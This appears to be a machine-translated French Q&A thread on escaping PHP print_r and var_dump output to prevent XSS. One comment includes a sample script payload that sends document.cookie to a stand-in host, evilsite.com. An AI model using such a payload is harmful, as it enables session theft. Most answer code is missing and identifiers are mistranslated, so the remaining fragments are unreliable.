var_dump ou print_r et de codage html
<?php
$x = array("<b>","<i>","b","i","<h1>hello</h1>");
print_r ($x);
echo "<hr>";
var_dump ($x);
sorties présent dans la source html!
Array
(
[0] => <b>
[1] => <i>
[2] => b
[3] => i
[4] => <h1>hello</h1>
)
<hr>array(5) {
[0]=>
string(3) "<b>"
[1]=>
string(3) "<i>"
[2]=>
string(1) "b"
[3]=>
string(1) "i"
[4]=>
string(14) "<h1>hello</h1>"
}
évidemment, j'aurais pu être XSS ed par qui!
Comment puis-je m'assurer que le tableau de valeurs sont htmlencoded?
- Je ne comprends pas ce que vous essayez de faire. print_r et var_dump sont destinés à être utilisés à des fins de débogage afin de XSS ne devrait pas être un problème lorsque vous les utilisez.
- disons que vous êtes la lecture de certains utilisateur a fourni une valeur à partir de votre propre base de données. et vous êtes en mode de débogage, vous venez arrivé d'exécuter print_r($userdata) et l'une des valeurs dans $userdata contient quelque chose comme [script]de la fenêtre.emplacement.href="evilsite.com?cookies="+document.les cookies"[/script].
- Eh bien, puisque vous êtes l'un de débogage, vous savez probablement de ne pas cliquer sur le vous êtes le 1000000 ième visiteur d'une bannière ou d'accepter le suspect de l'applet Java, de sorte que vous sera probablement très bien. Si vous êtes inquiet tho vous pouvez toujours remplacer les données avec certains faux texte ou écrire votre remporté la sortie de débogage de la routine.
- AverageJoe - assurez-vous de se méfier de toutes les données, même si c'est dans votre base de données. Utiliser htmlspecialchars comme @knittl indiqué ci-dessous.
- c'est justement l'idée! Je ne suis pas sûr pourquoi vous avez fait ce point. Ma question était de savoir comment obtenir htmlentities appliquée ici dans var_dump et print_r de sorte que nous n'avons pas XSS ed! Knittl compris la question.
- Il était destiné à être une réponse à @AndreasHagen qui n'était pas sûr que vous besoin de cette précaution.
Vous devez vous connecter pour publier un commentaire.
J'ai trouvé que knittl code ne fonctionne pas. J'ai eu quelques petits changements à faire pour qu'il fonctionne comme suit:
Maintenant cela fonctionne bien en PHP5.3+
Alors que cette question a accepté de répondre, je pense que David Morrow réponse est le meilleur/le plus simple/plus pratique (utilise le
print_r
true
drapeau):Jamais-le-moins, voici une autre solution qui utilise le tampon de sortie:
Ou vous pouvez simplement enregistrer le print_r à une chaîne, puis s'échapper à l'aide de la deuxième paramètre est défini sur true.
sorties:
script n'est pas exécuté
Une solution simple serait d'utiliser
array_walk_recursive
:htmlentities
Parse error: syntax error, unexpected T_FUNCTION in ...
lorsque je fais ceci, $x = array("<b>","<i>","b","i","<h1>bonjour</h1>"); print_r ($x); echo "<hr>"; var_dump ($x); echo "<hr>"; array_walk_recursive($x, function($v) { return htmlspecialchars($v); });array_walk_recursive
htmlentities
(même si elle vous permet de gagner un peu de frappes, vous pouvez toujours créer une fonction wrapperfunction h($s) { return htmlspeciachars($s); }
ou$h = 'htmlspecialchars; echo $h('somestring')
selon vos besoins)Une fonction qui fonctionne pour moi est décrit dans ce manuel PHP commentaire.
Sa fonction qui remplace
var_dump
est mis en œuvre comme:Cela fonctionne pour moi en PHP 5.3+.
(Veuillez noter qu'il y a une faute de frappe dans l'original).
Grâce à Knittl, voici Ce que je suis venu avec.
fonctionne de la manière que je voulais!
echo <pre>;
echo htmlspecialchars(print_r($key['value'], true));
echo '</pre>';
J'utilise ce code pour afficher un tableau de la valeur (contient du code adsense) à partir de pas de base de données sql.
J'ai trouvé cette page très utile, mais je modifier les fonctions récursives, le marcheur fonction de gestionnaire vérifie pour un tableau à la valeur après écho à la clé, et rappelle ensuite la fonction d'origine sur ce tableau. Je pense que cela en fait un véritable 'recursive htmlentity fonction d'où le nom de...